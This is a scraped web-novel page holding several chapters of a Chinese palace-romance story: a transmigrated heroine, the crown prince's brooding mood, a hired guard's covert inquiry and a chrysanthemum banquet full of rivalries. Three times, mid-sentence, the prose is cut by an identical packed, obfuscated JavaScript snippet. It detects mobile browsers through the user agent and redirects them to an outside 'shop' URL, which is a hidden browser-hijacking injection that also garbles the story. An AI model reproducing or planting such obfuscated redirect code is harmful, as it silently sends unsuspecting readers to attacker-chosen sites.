她这个所谓的“白月光”身份,还真是招来不少麻烦。 就连未曾出场的背景人物,都能自行补全与她相关的戏份。 林若华暗自摇头,唇角浮现出无奈的苦笑。 她正准备原路返回,却在转身的刹那间,突然瞥见身后,不远处的另一片阴影里竟有一道人影! “!” 林若华顿时吓得魂飞魄散,心头狂跳,不自觉后退半步。 那道人影悄无声息,仿佛与夜色融为一体,不知在那里站了多久,又听到了多少。 “你出来太久,我不放心。” 熟悉的声音响起,那人从浓重的阴影中缓步走出,清冷的月光终于将对方的脸照亮。 俊美无双,却没什么表情。 是萧长离。 他说完,便转身离开。 林若华松了一口气,一时却也不知该说什么,只得默默跟上。 二人一前一后,不紧不慢,保持着不远不近的距离,走在宫苑外无人的小路上。 令人窒息的沉默,一直持续到马车上。 一路无话,不似来时的谈笑风生。 凌北敏锐地察觉到了其中不同寻常的气氛,紧紧闭住嘴巴,专心驾车。 而坐在凌北身旁的苏南,开始闭目养神,依旧是对一切漠不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16605512|184823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关心的模样。 林若华望向对面的萧长离,萧长离此时也正静静地看着她,面对面的两人谁都没有说话。 那双平日里总是带着三分笑意的丹凤眼,此刻看不出任何情绪,不再是她熟悉的样子。 林若华注意到,萧长离自从上车后,右手便开始反复地摩挲着左手拇指上的翡翠扳指。 林若华欲言又止,终于在临近宫门时,忍不住开口道:“这么晚了,就不用送我了吧。” 萧长离的目光未曾移动,只淡淡回道:“无妨,既已送到此处,不差这一段路,我送你到宫门口。” 又是一阵沉默。 不久,车至宫门,缓缓停下。 萧长离一言不发,甚至没有一句道别,只是深深地看了她一眼,便独自起身下了车。 车厢内瞬间空了许多,马车又动了。 林若华犹豫片刻,还是在半途掀起了车窗帘,回头望去。 沉重的宫门正缓缓关上,而萧长离依旧站在原地,一动不动。 他身在宫门之内,未如往常那般含笑目送,月光下,周身透着一股难以言说的孤寂。 萧长离的身影越来越小,一点一点,逐渐消失在变窄的门缝间。 “嘭——” 直到宫门彻底合拢,将二人的视线完全隔绝。 林若华这才放下车窗帘,后背重重靠在车上,觉得心里堵得慌,一路都心事重重。 凌北将她安全送回林府后,便行礼告辞,驾车离去。 苏南随她一同回到居住的院子。 踏入院中,林若华并未立刻回房,而是特意先去看角落里那个不起眼的木架子。 架子上上下下、整整齐齐摆放了十个竹筛子。 竹筛子里的这批食物已生出霉菌,她用放置在旁的小木棍轻轻拨动了一下。 前四批的霉菌都不合格,林若华准备等明日一早,天亮之时,再仔细观察。 做完这一切,她才关上房门,屋内的烛火忽明忽暗,映照在她的脸上。 林若华直视着苏南的眼睛,郑重地开口道:“苏南,我可以相信你吗?” 苏南迎着她的目光,依旧像是初次见面那样,声音冰冷,毫无情绪起伏:“我收钱办事,拿人钱财,替人消灾。” 林若华点点头,对这个答案并不意外,她知道这是苏南的规矩。 她从腰间掏出一个红色荷包,双手递给苏南,轻声道:“里面有一百两银票,我想请你帮我暗中调查一件事,是关于安乐侯府,重点是安乐侯夫妇与前朝明月公主之间的所有过往,越详细越好。” 苏南闻言,心中暗道:涉及勋贵与前朝公主的秘辛,由凌北及其麾下的暗卫探查更为便利。 但她抬眸,对上林若华坚定的眼神,便一手接过荷包,干脆应下:“好。” 与此同时,东宫书房内。 周遭并未点灯,四下一片昏暗。 萧长离独自一人,躲藏在黑暗之中。 寂静中,忽然响起一阵低笑,在空寂的房间里格外瘆人。 他微微仰头,单手捂脸,痴痴的笑意从指缝间流出,带着自嘲与解不开的阴霾。 “呵呵……呵呵呵……果然啊,一旦不装了,露出那么一点点真实的样子,你便会毫不犹豫地想要离开啊……” 许久,低哑的笑声才渐渐停息,萧长离放下手,露出那双幽深的丹凤眼,在黑暗中,俊美的脸上是势在必得的疯狂,逐渐沦为复杂的情绪,最终归咎于平静。 25. 请帖 “啊……又失败了。” 林若华蹲在木架子前,手里捏着小木棍,轻轻戳了戳竹筛子里的瓜皮,最后对着瓜皮上那层毛茸茸的黑色霉菌,忍不住长长叹了口气。 丢下小木棍,林若华站起身,抬眼看向架子摆放的十个竹筛子。 里面各种瓜果蔬菜上长着各种颜色的霉菌,暴露在空气之中,散发出阵阵食物腐烂的霉味。 红的、白的、黄的、黑的,偏偏就是找不到青霉。 “杜鹃,”林若华扬声唤来一直守在院门外的侍女,语气里带着两分疲惫,“把这些都清理掉吧,再帮我找些新鲜的食物来,还是要挑不同种类的。处理的时候务必小心。” “是,小姐。”杜鹃应声上前,小心翼翼地端起竹筛子,“小姐,您要不要先用些茶点?这都忙了一上午了。” 林若华正要回答时,月季捧着一张烫金请帖匆匆走了进来。 月季面带迟疑道:“小姐,门房刚送来的。” 林若华眨了眨眼睛,对月季道:“不是说了,这些日子所有的请帖都替我推了吗?” 月季露出为难之色,迟疑片刻,才低声道:“小姐,这次恐怕推不掉,是宫里来的帖子。” “宫里?”林若华心中诧异,接过请帖,展开一看,不禁微微挑眉,“六公主?” 继续往下看,原来是六公主邀她三日后,也就是九月初七,入宫参加在御花园举办的赏花宴。 帖子右下角,还精心画着一只小小的青雀。 “皇上的万寿节才过去没几日,六公主怎么突然又急着办这赏花宴?还特地给我下了帖子。”林若华拇指摩挲着青雀图案,心中疑窦丛生。 见林若华脸上并无喜色,月季含笑上前一步,温声劝道:“小姐如今是未来的太子妃,六公主日后的嫂嫂。她邀请你,也是情理之中的事。听说六公主最是喜欢热闹,许是万寿节上还没玩尽兴呢。” “是吗?但愿如此。”林若华眉头微蹙。 若真是六公主自己心血来潮的主意,倒不必太过忧心,只是这时机未免有些巧合了。 她抬眼,对月季道:“罢了,既然推不得,那便应下。你去回话,就说我三日后必定准时赴约。” “是,小姐。”月季行礼告退。 杜鹃也收拾妥当,与月季一同退下。 望着二人离去的背影,林若华的心情愈发复杂。 真是一波未平一波又起,也不知道苏南那边顺不顺利。 自那天从宫中寿宴归来,已过去两日。 昨日苏南便早出晚归,今早天刚蒙蒙亮,就又不见人影。 而此时,乔装打扮的苏南,正扮作一个普通的妇人,一身洗得发白的粗布衣裙,一根随处可见的束发木钗,混在熙熙攘攘的人群中,毫不起眼。 她在几个摊位前驻足,装模作样地看了看吃食和布料,眼角余光却时刻注意着身后的动静,确认无人跟踪后,迅速拐进一条僻静的小巷。 与外面热闹的大街相比,巷内行人不多。 巷中有家李记米铺,店面不大,生意冷清,偶有附近的住户拎着米袋进出。 苏南低着头走进去,柜台后站着一位精瘦的中年掌柜,眼珠灵活地转来转去,活像只猴子。 “老板,装袋米。”苏南抬头看向掌柜,沉声道,“不要新米,要陈的。” 掌柜眼珠又是一转,看着眼前这个普通的妇人,带着生意人惯有的精明:“这位娘子说笑了,我们李记开店,向来童叟无欺,卖的都是当年的新米,从不卖陈米败坏口碑。” 苏南不动声色,从袖中摸出半贯钱放在柜台上:“家中银钱实在不够,新米价高,吃不起,掌柜的,都是老街坊,行个方便吧。” 串起铜板的绳子是以红线与黑线扭成一股搓成的。 而半贯钱,也足以买一袋新米了。 掌柜闻言,眯着眼又打量了她片刻,最终点了点头:“既是如此,罢了,娘子随我进来看看吧,后头有些去年的米。” 掀开门帘进入里屋,其中堆满了米袋。 掌柜直接引苏南去最里面的米缸,打开米缸的木盖后,翻找出两个早已装好的米袋递给她。 苏南并未伸手去接,只面无表情地看着他。 掌柜会意,上前一步,声音压得极低:“放心,是上回你要的那批。” 她不再多言,默默接过米袋,拎起米袋快步离开。 苏南提着米袋,并未立即返回大街,反而向巷子更深处走去。 巷子七拐八绕,越走越窄,越走越静,直到一处堆满杂物的死角。 就在此时,她并未转身,而是单手抽出藏在袖中的匕首,反手向身后之人的方位刺去。 “是我!” 锵的一声,匕尖撞上来人匆忙格挡的剑鞘上。 苏南往前一步,再转头一看,身后之人果然是穿着一身普通劲装,正讪笑着收剑入鞘的凌北。 苏南收起匕首,一言不发地绕开他就要离开。 凌北下意识伸手欲拦,口中急道:“苏南,你听我说……” 话未说完,便被苏南投来的一记冷眼,逼得生生将后半截话咽了回去,伸出的手也尴尬地缩回,只得摸了摸鼻子,随后快步跟上:“苏南,我不是故意跟踪你,只是恰巧在大街上看到你进了巷子。” 苏南并不理会他,目不斜视地向外走去。 凌北又道:“太子殿下这两日心情极差,兄弟们当差个个都提心吊胆,实在吃不消了,我这才想着,能否请你去问问林小姐,林小姐与殿下之间,是不是有什么误会?” 苏南脚步不停,声音冰冷:“我现在跟着小姐,替小姐办事。主子的私事,不是我们做下属的该过问的。” 凌北苦着脸:“可是殿下昨天还把书房里的砚台给砸了。” “水鬼离身了吧。”说罢,苏南不再给凌北任何机会,脚下步伐加快,几个转折便消失在小巷的另一头。 “哎,你怎么还记得这件事啊!”凌北望着她离去的背影,无奈叹了口气。 自殿下与林小姐相识后,脾气明明和缓了许多,连带着他们这些身边人的日子都好过了不少。 谁知两日前不知何故,殿下竟又变回了从前那般阴晴不定、难以捉摸的模样,真是令人头痛。 当苏南换好装扮回到林府时,月季也正好回完话。 见到苏南一言不发地走进院子,只对她微微点头示意,林若华立即会意,对刚回来的月季吩咐道:“月季,你去寻杜鹃,看看除了瓜果外,能不能再帮我找两个玉米来。” 月季不疑有他,点头应道:“是,小姐,奴婢这就去。” 待月季的身影消失在院门外,林若华与苏南一同进了房间,关上门。 苏南自怀中取出一封信递上。 “这么快?”林若华接过,有些诧异道。 苏南语气平淡:“不算秘辛。” 林若华更加好奇:“难道人尽皆知?” “也差不多。”苏南的语气依旧冷淡。 林若华展开信纸,信中的内容,果然与她之前的猜测八九不离十,但细节更为详细,也更令人唏嘘。 事情还要从那年明月公主悄悄放跑了还是小将军的老皇帝开始说起。 公主她爹,那位前朝的末代皇帝得知后勃然大怒,将明月公 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这些年来,安乐侯始终对夫人冷眼相待,起初夫人还试图百般讨好,但时至今日,两人早已撕破脸面,连表面功夫都懒得再做,成了京城中一对心照不宣的怨偶。 林若华轻轻将信纸折好,递还给苏南,示意她处理掉。 一桩旧事,牵扯三代人。 林若华暗道:以后还是少与他们往来,远离这潭浑水。 刚推开房门,却一眼瞥见林洛瑶在院门口探头探脑,一副鬼鬼祟祟的模样。 见房门打开,她急忙缩回头去,却又忍不住再次探头张望。 林若华:“?” 不待她发问,林洛瑶见她出来,脸上立刻挂上一个夸张的假笑,快步走近,声音是前所未见的甜腻:“好姐姐,我可听说了,六公主又要在宫里办赏花宴了。那样的场合,定是比三年前更加热闹非凡,姐姐你带我去见识见识吧!” 说着就要上前拉林若华的手,林若华侧身避开,让林洛瑶扑了个空。 林若华瞧着这突如其来的热情,淡淡道:“给我一个带你去的理由。” 林洛瑶偷瞄了一眼立在林若华身后的苏南,嘴巴一瘪:“你带我去,我就告诉你一个关于这次赏花宴的秘密!” 林若华闻言,唇角一勾,似笑非笑道:“妹妹如今消息竟如此灵通了?连宫里的秘密都能知道?你先说说看,我掂量掂量这秘密的价值,值不值得交换。” 林洛瑶脸上露出挣扎之色,双手绞着帕子,最后一咬牙,凑近了些,对林若华低声说道:“这次赏花宴有人是故意冲着你来的,想要对你不利!” 林若华眉梢一动,脸上却不见多少惊讶:“哦?” “你别不信。”林洛瑶急得跺脚,“就在昨日,我娘去做客时亲耳听到的!” “你会如此好心地告诉我?那你说,幕后之人,是谁?”林若华目光平静地看着她。 “我、我……”林洛瑶“我我我”了半天,脸憋得有些红,最终还是咬着嘴唇道,“我不能说。” 林若华准备关上房门,林洛瑶连忙伸手阻止。 “喂!”林洛瑶快速左右一看,确认院中除了苏南再无旁人,终于把心一横,凑到林若华耳边,用极低的声音说,“是六公主。” 说完,她像怕林若华再追问似的,转身就跑,很快消失在院子外。 “嗯?” 这个答案让林若华颇为意外。 六公主向来单纯,叶妃也是出了名的与世无争。 只怕这背后,是另有其人啊。 林若华望着林洛瑶逃离的背影,心中已有了计较。 26. 入宫 转眼便是九月初七,今日秋高气爽。 赏花宴定在未时举行,用过午饭,林若华与苏南先后登上林府备好的马车。 林若华甫一踏入车厢,便发现林洛瑶带着丫鬟已坐在里面了。 她并未在意林洛瑶的小心思。 时隔三年,境况颠倒。 那时,是林若华跟在林洛瑶身后赴宴,林若华是顺带的陪衬。 这一次,却是林洛瑶死死跟着林若华,借着未来太子妃的光。 马车内还算宽敞,林若华与苏南坐在一侧,对面是林洛瑶和她的丫鬟木儿。 林洛瑶身边有四个丫鬟,木儿、石儿、沙儿、草儿。 其中唯有木儿性子老实木讷,只知埋头做事,不曾如其他三人一般,跟随主子欺负大小姐,自己反倒时常受人排挤,什么脏活累活都推给她,当然也最不讨林洛瑶的欢心。 与其相信林洛瑶突然开了窍,智商上线,不如说是背后有人指点,特意带上这个与林若华并无旧怨的丫鬟。 林若华双手交叉抱于胸前,目光毫不掩饰,打量着对面的林洛瑶。 林洛瑶喜欢艳丽,今日一身水红色长裙,头戴两只蝴蝶发钗,打扮得算是中规中矩。 不像去感恩寺上香时的夸张招摇,想来也是因那日被其他官家小姐明里暗里嘲笑了的缘故。 被林若华这样盯着,林洛瑶倒无半分的不自在,依旧沉浸在自己的兴奋与期待中,脸上是抑制不住的笑意。 相比之下,她身边的木儿就紧张得多。 小丫鬟双手紧紧攥住膝盖,低眉垂眼,几乎不敢抬头。 “你为何要告诉我?总不会以为,即便说了,我也躲不过去吧。”林若华忽然开口,声音不高,却清清楚楚落在车内几人耳中。 这话问得没头没尾,但林洛瑶显然听懂了。她身旁的木儿闻声轻轻一颤,肩膀都不自觉地缩了起来,头垂得更低。 林若华余光瞥见木儿的反应,目光仍留在林洛瑶脸上。 林洛瑶像是被说中了心事,神色有些慌乱,瞬间不敢与林若华对视。 片刻后,她才抬起头,强自镇定道:“一会儿就到宫门口了,你现在想反悔赶我下车也来不及了。” 林若华淡淡道:“我既然答应带你来,就不会出尔反尔。” 林洛瑶明显松了口气,随即又不耐烦地撇嘴:“那你还想说什么?” 林若华直视她的眼睛,问道:“除了六公主,还有哪些人针对我?” 林洛瑶翻了个大大的白眼:“哼,想针对你的人多了去了!我这些时日出门,碰见好几拨人,说话都难听着呢。不过是嫉妒你罢了,飞上枝头变凤凰,谁不眼红?” 能被林洛瑶评价为难听,那肯定是很难听了。 不过,当真只是单纯的嫉妒吗? 林若华眸光微沉。 恐怕更多的是利益冲突吧,太子妃之位,不知牵动着多少人的心思。 林若华不再言语,车厢内重归于静。苏南始终安静旁听,目光偶尔扫过对面的主仆二人。 这安静并未持续太久,不多时,马车已至宫门。 苏南先下了车,回身扶林若华下来,随后自怀中取出六公主赏花宴的请帖。 查验的侍卫恰巧是前两回当值的那位,几次下来双方已眼熟。 他略看一眼便将帖子递还苏南,挥手放行。 宫门内,早已立着一排年轻宫女,个个身着素雅宫装,见她们进来,齐齐行礼。 为首那名宫女走上前来,含笑道:“可是六公主的贵客?奴婢冬婵,奉公主之命特来引路。” 林若华微微颔首:“有劳。” 她与苏南走在前面,林洛瑶带着木儿紧跟其后,寸步不离,生怕被落下。 一路行去,林洛瑶左顾右盼,途中忍不住伸手摸了摸朱红宫墙,眼中满是艳羡。 林若华悄悄观察眼前名叫冬婵的宫女,见她举止得体,又看向苏南,苏南以眼神示意,并未发觉异样。 刚踏入御花园,便闻到阵阵菊香,只听一个清婉的女声正吟诵:“土花能白又能红,晚节由能爱此工。宁可抱香枝上老,不随黄叶舞秋风。” 原来六公主尚未到场,但园中早聚集了不少应邀前来的贵女。 放眼望去,御花园内早已精心布置过,数百盆姿态各异的菊花铺开,不止常见的□□与白菊,更有几盆极为罕见的绿菊与墨菊,引得众人频频驻足。 花间设有诸多长案,案上摆放着一碟碟精美的菊花糕,以及各色水果和清茶。 三三两两的年轻女子聚在一处,正以菊花为题,吟诗作对。方才那诗句,便出自一位白衣女子之口。 那白衣女子未施粉黛,柳叶弯眉,眉眼间含着两分忧愁,容貌清雅,身姿窈窕,如弱柳扶风。 林若华认得她,那是萧长离的表妹,也就是皇后的侄女。 在原剧情中,萧玄鹤登基后将她纳入后宫,封为柔妃,后来被皇后胡玉乔设计害死。 柔妃体弱,想让她病逝太过容易,只需在她的日常汤药中稍做手脚。 入宫不过半年,她便香消玉殒,甚至无人疑心,只道是她旧疾难愈。 “可惜了。”林若华在心中轻叹。 一位面生的小姐到来,顿时引来周围人的注意。 林若华身旁一位身着绿色衣裙的姑娘好奇地看过来,她头上戴着一支翡翠簪,耳坠也是碧色的玉珠,笑盈盈问道:“这位姐姐瞧着面生,不知是哪家小姐?” 林若华还未答话,身后的林洛瑶已一个箭步抢上前,扬着下巴,带着几分得意道:“高菁菁,睁大你的眼睛看清楚,这是我姐姐,未来的太子妃!你还不行礼?” 她这话一出,周围瞬间静了静。 林若华一把将林洛瑶拽到身后,少替她拉仇恨。 这才含笑对那绿衣女子道:“我是工部主事林兴业之女林若华,不知妹妹如何称呼?” 林若华其实知道对方的身份,这也是萧玄鹤未来的后宫之一,庄嫔。 “呀,你就是林家大小姐林若华?”高菁菁惊讶地轻掩朱唇,随即放下手,“家父户部主事高诚,我名菁菁。” 她眼波流转,又添一句:“我早就想见见你了,可惜总是无缘。今日一见,姐姐容貌出众,与林二小姐往日提及的颇为不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16642216|184823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同呢。” 说罢,还瞟了一眼林若华身后的林洛瑶。 “你!”林洛瑶气得睁大眼睛,却在四下张望后,硬生生将火气压了下去。 好歹还记得这是什么地方。 她狠狠瞪了高菁菁一眼,咬着嘴唇不再作声。 看这两人针锋相对的模样,再联想高菁菁方才刻意挑拨的言语,显然她们早有旧怨。也不知上香那日,林洛瑶骂的人里有没有她。 虽说两家父亲同是六品主事,可户部终究排在工部前头,谁让六部之中工部居末位呢。 看来林洛瑶往日也没在她这儿讨着什么便宜。 这番动静早已引得园中众人纷纷侧目,尤其是林洛瑶那一声“太子妃”,更是窃窃私语声不断。 “原来这就是林大小姐啊?以前倒是不曾听闻有这般颜色,怪不得能入了太子殿下的眼,真是好福气呢。” 这话声音不小,恰好能让所有人都听见,瞬间吸引了满园的目光。 说话之人站在一盆墨菊旁,长相英气,身着红裙,头戴步摇,斜睨着林若华,一脸倨傲。 不必介绍,林若华还是认识。 唐彤珠,萧玄鹤日后的宁妃。 她本人和“宁”字毫不沾边,性格张扬泼辣,入宫不久,就轻易被人当枪使,成了胡玉乔手中一把借刀杀人的刀。 待榨干价值,便被推出去顶了罪,下场凄惨。 其父兵部侍郎唐庸,是铁杆的三皇子党,这也难怪唐彤珠会对她这个未来太子妃如此不客气。 令唐彤珠意外的是,她这番明显带着讽刺,暗示林若华靠美色上位的话,并未让对面的林若华露出她预想中的反应。 既未羞惭地低下头,掩饰容貌,也没气愤地怒目而视,出言反驳。 林若华坦然迎上她的目光,大大方方地将脸一扬,露出一个明媚甚至带着点小得意的笑容:“那是自然,唐小姐也觉得我生得美吧?多谢夸奖。我也觉得我长得挺好看的,所以太子殿下喜欢我,这不是很正常嘛。” 唐彤珠当场瞠目结舌,像是噎住了,张了张嘴,一时竟不知该如何接话,满脸写着“你不知羞吗?”。 林若华当然不会,下巴扬得更高,生得漂亮有什么可羞的? 既然这人要拿容貌说事,林若华索性就顺着她的话说,让她无话可说。 “诸位姐妹这是做什么呢?”温婉的声音适时响起,胡玉乔一身月白色衣裙,面带笑意,落落大方,从容自人群中走出。 “今日是六公主殿下举办的赏花宴,大家难得聚在一起,赏花品茗,何等惬意,何必弄得这般紧张,这岂不是辜负了这满园秋色与公主的美意?” 方才竟没注意到她,她从哪儿冒出来的? 这位未来的胡皇后,果然很会挑时机。 林若华忍不住眉毛一挑,她好像不是来参加六公主的宴会,而是进了三皇子的后宫。 胡玉乔笑容得体,对林若华与唐彤珠等人柔声提议:“既然是以菊会友,不如我们还是依照旧例,以菊为题,吟诗作赋,一较高下,岂不风雅?” 林若华:“?” 作诗? 27. 议论 一听要作诗,唐彤珠当即左手叉腰,右手不耐烦地一挥:“让我骑马射箭可以,让我作诗?得了吧!” 唐彤珠她爹唐庸也极有意思,他本是当年跟随老皇帝打天下的谋士,却一心想要披挂上阵,奈何是个小身板,心有余而力不足,只能让一双儿女习武,希望有朝一日能够继承自己的理想。 胡玉乔无奈一笑,目光又落在林若华身上:“林姐姐,不如你来试试如何?方才朱小姐那首咏菊诗,可是艳惊四座呢。” 她慢声细语,不动声色地将话头引向林若华与朱小姐。 林若华抬眼,正对上胡玉乔那双含笑的眸子。 幸好,胡玉乔虽年长林若华半岁,却因她是胡玉乔未来的皇嫂,胡玉乔还得称呼她为“林姐姐”,不然岂不是折煞她了。 思及至此,林若华也坦然答道:“我也不擅长作诗。” 以花为题吟诗作赋,她哪儿会这些? 让一个现代人写古体诗,简直是强人所难。 她背几首唐诗宋词倒还可以,可这等场合并不合适。 唐彤珠闻言眉毛高高挑起,带着几分新奇道:“哦?你也不会作诗?那不如我们来比射箭?正好一较高下。” 林若华摇头,神色不变:“我也不会射箭。” 唐彤珠嗤笑一声:“那你会什么?总不是什么都不会吧?” 无视四周各种看戏的眼神,林若华笑道:“当然不是,我虽不会吟诗作对,也不通骑射之术,可人各有志,又各有所好。” 她目光从众人的脸上移至身下的白菊:“就像这满园竞相绽放的秋菊,黄、白、绿、墨,形态各异,各具风姿。” 林若华顿了顿,她会的东西其实很多,但是眼前能拿出来的却只有…… “我擅长医术。” 林若华再次抬眸看向众人。 这件事瞒不住,她也不想瞒。 她不能永远倚靠他人的庇护,总要有自己能安身立命的本事。 “噗——”人群中不知是哪位小姐忍俊不禁,又慌忙以手帕掩口。 有人听完后,与身旁的好友交换着不赞同的眼神,随后轻轻摇头。 窃窃私语声再次响起,夹杂着两声压抑不住的低笑。 唐彤珠先是一愣,随即脸上露出毫不掩饰的嫌弃:“医术?倒也不错,往后太子殿下不必传太医了,头疼脑热的,直接找太子妃就是。” 这话说得刻薄,引得几个平日里与她交好的贵女掩袖而笑,看向林若华的目光中又多了两分轻视。 胡玉乔适时露出忧色,轻抚自己的额头,柔声道:“原来林姐姐擅长医术。听说林姐姐救治过太子殿下,想当年安乐侯夫人也是这般与侯爷结缘的呢,只是后来……” 她吞吞吐吐,那未尽之言,却让在场不少知情人心知肚明。 那位凭借医术攀上高枝的安乐侯夫人,因出身不高,又常年抛头露面行医,没少遭人非议,在贵妇圈中始终格格不入。 林若华环顾四周,或嘲笑,或惊讶,或冷漠,将一切尽收眼底。 身后的林洛瑶早已羞愧地低下头,双手紧紧攥住水红色的长裙,丝滑的衣料硬生生让她攥出两个褶皱,像极了来时路上在车厢里的木儿。 苏南和木儿都被拦在御花园外,此刻只有她一人,但她也是不惧的。 林若华目光灼灼地看向这群心思各异的贵女,忽然扬声问道:“怎么,诸位姐妹可是瞧不起行医之人?真是奇怪,人吃五谷杂粮,谁又能保证永远不会生病?既然都会生病,却又瞧不起治病救人的医者,这是什么道理?在座各位都是读过圣贤书的人,怎么也会如此肤浅?” 一时间,议论声消失了。 “林小姐说得没错。”一道柔弱的女声自人群中响起。 众人循声望去,只见一身素白衣裙的朱小姐缓步走出。 她脸色略显苍白,仿佛一阵风就能吹倒,声音也不大,却掷地有声:“我自幼体弱,药石从未离身,常年需劳烦大夫诊治。若非医者仁心,一次次妙手回春,我恐怕早已不在人世。” 这第一个站出来支持林若华的,是表妹朱小姐。 她先看向一脸不以为然的唐彤珠:“皇上慧眼识人,他的决定,绝非我等可以随意置喙的。唐小姐,还请慎言。” 唐彤珠抿紧了唇,脸色不太好看,不敢开口反驳。 又是太子那边的人,搬出皇上她确实惹不起。 她又转向胡玉乔:“安乐侯夫人曾救治过不少人,这其中也包括我。胡小姐,你实在不该如此编排她。” 胡玉乔轻叹一声,似要辩解:“朱小姐误会了,我不过是想起旧事,随口一提……” “是否误会,我心中明白,在场诸位听得清楚的,想必也明白。” 胡玉乔还没说完,便被朱小姐打断,眼底怒气一闪而过,但即刻又恢复如初,还是那副端庄大方的模样。 此时的胡玉乔,尚不及日后那般滴水不漏。 朱小姐不再看她,而是走到林若华身边,在她耳畔低声说道:“林小姐,可否借一步说话?” 林若华微微颔首,二人并肩离去,将神色各异的众人留在身后。 御花园不小,她们专挑人少的小路走。 小径蜿蜒,终于寻到一处僻静的角落,几株高大的桂花树开得正盛,金黄小花簇拥成群,恰好能隐约遮住林若华与朱小姐的身影。 桂花树后,二人相对而视。 朱小姐几度欲言又止,眉眼间的忧愁随着桂花的香气愈发浓郁。 头上那支简单的白玉簪,随着她不安地左顾右盼一起来回晃动。 林若华并未催促,而是静静地看着她。 朱小姐,她是影视剧中那种常见的表妹,柔弱无害。 能在刚才那种场合下挺身而出,已是极其不易。 良久,朱小姐像是终于下定了决心,轻轻咬了咬下唇,缓缓开口道,声音比刚才更弱了两分:“我姓朱,名琇云,是太子殿下的表妹。皇后娘娘是我的姑母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16655138|184823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “琇云?”林若华闻言,若有所思。 原来,这位在剧情中成为柔妃的朱氏,叫作朱琇云啊。 “林小姐,听过我的名字?”朱琇云显得有些慌张。 她于京中的贵女圈中也算是小有才名,在不久前举办的诗会上又拔得头筹,可想到自己接下来准备说出口的话,她垂下眼,只觉得更加难以启齿。 林若华像是想起了什么,却只是轻声说道:“不曾听过,只是觉得,这真是个很好名字。” 朱琇云松了口气,眼神复杂,稍待片刻,又欲开口,忽闻不远处的假山后,传来脚步声与女子的笑语声,由远及近。 林若华与朱琇云不约而同望去,只见一抹红色身影闪动,数人已至近前。 二人对视一眼,此时再出去已是不合时宜。 只听其中有个声音说道:“医术?真是可笑。太子殿下到底是什么眼光啊?论家世、论才情,还不如之前定下的那位杜小姐呢!那位可是出自会稽名门杜氏,真正的书香门第,是当地有名的才女,据说自幼便能诗会文,琴棋书画无一不精。” 林若华眨了眨眼,之前定下的太子妃? 其实想想也是,萧长离已年满十八,在这个时代早该成婚了。 剧本里没有详细提及他的过往,但现实中,小他两岁的弟弟都订婚了,身为储君的哥哥怎么会没有过人选? 只是想到这里,终归有些难受,就像是毫无准备地吞下一口油腻的猪油,喉咙至心口,又闷又堵。 这时,林若华的衣袖被人轻轻拉扯了一下,转头见朱琇云微微蹙眉,轻轻摇头,一脸焦急,满眼都写着“并非如此”这四个字。 林若华当即会意,并非如她们所说那样简单,真真假假,假假真真,杜家小姐的事怕是另有隐情。 另一女声连忙接上:“也不知朱琇云是不是吃错药了,为何突然要替林家女说话。若无杜小姐那桩意外,原本她最有希望成为太子妃,毕竟占着个表妹的名分,皇后娘娘又疼她。好不容易杜小姐死了,又半路杀出个林家女,她倒好,不急不恼,反而去讨好对方?” “除了太子表妹的身份,她还有什么啊?依我看,将来最多做个侧妃罢了,所以才要急着讨好未来的太子妃,这也不意外。” “但话说回来,林家女门第也不高啊,父亲不过是个六品工部主事,不还是当了太子妃?” “呵,你们懂什么?架不住人家生了一张好脸啊。” 林若华深呼一口气,她自己果然不是忍辱负重的性格。 此刻听到这里,更觉得没有再躲藏下去的必要。 朱琇云察觉到她的意图,急忙伸手想去拉住她,手指却只触碰到她的衣袖。 林若华已经猛地转身,拨开碍事的桂花树枝,大步从树后走了出去。 看到那几个正说得起劲、笑作一团的少女,林若华咧嘴一笑:“你们说什么呢?说得这样开心,也让我听听。” 貌若天仙,声如恶鬼。 28. 表妹 果不其然,先前瞥见的那一抹红色身影正是唐彤珠。 她与另外三位贵女,本想来寻个僻静处再说些闲话,却没料到林若华也在此处,还不知从哪儿突然冲了出来,将四人结结实实地吓了一跳,做坏事被当场捉住,神色间难免有些慌乱。 “你怎么在这偷听?”唐彤珠最先回过神来,当即先发制人。 “就是……怎么能偷听别人说话……”其他三人也如梦初醒,跟着小声嘟囔,眼神闪烁,明显底气不足。 “偷听?”林若华气笑了:“分明是我先到这儿休息的,你们声响这么大,怕是满园子都听见了,何来偷听一说?” 她的目光在四人脸上一一扫过,除唐彤珠外,余下三人都是方才在赏花宴上唐彤珠身旁的贵女。 “不服气?我们不如一同到皇上面前分辨分辨?” 其他人一听到“皇上”二字,顿时面色发白。 